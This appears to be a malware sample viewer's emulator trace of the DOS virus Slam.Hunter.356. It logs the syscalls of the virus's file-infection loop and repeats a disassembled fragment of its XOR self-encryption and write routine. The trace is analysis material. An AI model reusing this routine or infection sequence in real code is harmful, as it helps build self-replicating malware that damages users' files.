Sample viewer

vx.netlux.org/Virus.DOS.Slam.Hunter.356

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:57:06.490197855Z 53 PC: 12aa2 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T21:57:06.505381334Z 37 PC: 12ab2 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T21:57:06.509318279Z 71 PC: 12abb | Get current directory
2018-12-17T21:57:06.512747751Z 53 PC: 12ac2 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T21:57:06.515012536Z 37 PC: 12acb | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T21:57:06.519690963Z 78 PC: 12afc | Find first file
2018-12-17T21:57:06.526160838Z 67 PC: 12b19 | Get or set file attributes
2018-12-17T21:57:06.533579208Z 67 PC: 12b23 | Get or set file attributes
2018-12-17T21:57:06.549802666Z 61 PC: 12b27 | Open file (Filename = '')
2018-12-17T21:57:06.561534507Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T21:57:06.563764217Z 63 PC: 12b37 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:57:06.572212012Z 66 PC: 12b46 | Move file pointer
2018-12-17T21:57:06.573923864Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x164
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x264]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, 0x23d
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T21:57:06.576389331Z 64 PC: 12a61 | Write file or device (Write 356 bytes on handle 5)
2018-12-17T21:57:06.580454818Z 87 PC: 12b51 | Get or set file date and time
2018-12-17T21:57:06.582296538Z 62 PC: 12b54 | Close file
2018-12-17T21:57:06.589842786Z 67 PC: 12b5f | Get or set file attributes
2018-12-17T21:57:06.59672983Z 79 PC: 12afc | Find next file
2018-12-17T21:57:06.59857965Z 67 PC: 12b19 | Get or set file attributes
2018-12-17T21:57:06.602692107Z 67 PC: 12b23 | Get or set file attributes
2018-12-17T21:57:06.610130484Z 61 PC: 12b27 | Open file (Filename = '')
2018-12-17T21:57:06.618472673Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T21:57:06.620174376Z 63 PC: 12b37 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:57:06.627793028Z 66 PC: 12b46 | Move file pointer
2018-12-17T21:57:06.629850584Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x164
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x264]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, 0x23d
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T21:57:06.632368023Z 64 PC: 12a61 | Write file or device (Write 356 bytes on handle 5)
2018-12-17T21:57:06.636498078Z 87 PC: 12b51 | Get or set file date and time
2018-12-17T21:57:06.63829253Z 62 PC: 12b54 | Close file
2018-12-17T21:57:06.646251621Z 67 PC: 12b5f | Get or set file attributes
2018-12-17T21:57:06.657283845Z 79 PC: 12afc | Find next file
2018-12-17T21:57:06.660208795Z 67 PC: 12b19 | Get or set file attributes
2018-12-17T21:57:06.666019643Z 67 PC: 12b23 | Get or set file attributes
2018-12-17T21:57:06.676692397Z 61 PC: 12b27 | Open file (Filename = '')
2018-12-17T21:57:06.68375652Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T21:57:06.68538617Z 63 PC: 12b37 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:57:06.692062185Z 66 PC: 12b46 | Move file pointer
2018-12-17T21:57:06.694592744Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x164
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x264]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, 0x23d
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T21:57:06.697061033Z 64 PC: 12a61 | Write file or device (Write 356 bytes on handle 5)
2018-12-17T21:57:06.700061905Z 87 PC: 12b51 | Get or set file date and time
2018-12-17T21:57:06.702780108Z 62 PC: 12b54 | Close file
2018-12-17T21:57:06.710699697Z 67 PC: 12b5f | Get or set file attributes
2018-12-17T21:57:06.720546223Z 79 PC: 12afc | Find next file
2018-12-17T21:57:06.724446651Z 67 PC: 12b19 | Get or set file attributes
2018-12-17T21:57:06.730213719Z 67 PC: 12b23 | Get or set file attributes
2018-12-17T21:57:06.739898983Z 61 PC: 12b27 | Open file (Filename = '')
2018-12-17T21:57:06.747584566Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T21:57:06.749651985Z 63 PC: 12b37 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:57:06.756154944Z 66 PC: 12b46 | Move file pointer
2018-12-17T21:57:06.758325392Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x164
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x264]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, 0x23d
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T21:57:06.760806465Z 64 PC: 12a61 | Write file or device (Write 356 bytes on handle 5)
2018-12-17T21:57:06.763596836Z 87 PC: 12b51 | Get or set file date and time
2018-12-17T21:57:06.765715956Z 62 PC: 12b54 | Close file
2018-12-17T21:57:06.772993692Z 67 PC: 12b5f | Get or set file attributes
2018-12-17T21:57:06.785472683Z 79 PC: 12afc | Find next file
2018-12-17T21:57:06.789166215Z 67 PC: 12b19 | Get or set file attributes
2018-12-17T21:57:06.795345924Z 67 PC: 12b23 | Get or set file attributes
2018-12-17T21:57:06.805081076Z 61 PC: 12b27 | Open file (Filename = '')
2018-12-17T21:57:06.81267115Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T21:57:06.814675147Z 63 PC: 12b37 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:57:06.821095177Z 66 PC: 12b46 | Move file pointer
2018-12-17T21:57:06.822987756Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x164
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x264]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, 0x23d
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T21:57:06.826347297Z 64 PC: 12a61 | Write file or device (Write 356 bytes on handle 5)
2018-12-17T21:57:06.82942134Z 87 PC: 12b51 | Get or set file date and time
2018-12-17T21:57:06.831215364Z 62 PC: 12b54 | Close file
2018-12-17T21:57:06.839576862Z 67 PC: 12b5f | Get or set file attributes
2018-12-17T21:57:06.849887732Z 59 PC: 12ae8 | Change current directory
2018-12-17T21:57:06.851957113Z 37 PC: 12af4 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')